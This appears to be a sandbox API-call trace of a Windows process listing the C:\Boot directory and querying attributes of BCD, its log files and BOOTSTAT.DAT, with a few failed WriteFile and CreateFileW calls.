	[0238.422] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0238.422] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0238.422] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0238.422] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0238.422] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0238.422] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0238.422] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1
	[0238.422] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0238.423] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0238.423] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0238.423] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0238.423] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0238.423] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0238.423] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0238.423] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0238.424] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1
	[0238.424] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1
	[0238.424] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0238.424] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0238.425] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0238.425] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0238.425] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="qps-ploc", cAlternateFileName="")) returned 1
	[0238.425] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1
	[0238.425] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0238.425] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0238.425] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1
	[0238.425] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0238.425] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0238.426] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1
	[0238.426] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0238.426] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0238.426] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0238.426] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x0, dwReserved1=0x0, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1
	[0238.427] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0238.427] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1
	[0238.427] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0238.427] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0238.428] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0238.428] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0) returned 0
	[0238.428] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x6d72d3cf, ftLastAccessTime.dwHighDateTime=0x1d5e877, ftLastWriteTime.dwLowDateTime=0x6d72d3cf, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0xb000)) returned 1
	[0238.429] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x25, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0238.429] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1
	[0238.430] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x29, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0238.430] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0238.431] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0238.435] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0238.436] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0238.436] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1
	[0238.456] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x2e, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0238.456] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts" (normalized: "c:\\boot\\fonts"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0238.468] CreateFileW (lpFileName="C:\\Boot\\Fonts" (normalized: "c:\\boot\\fonts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
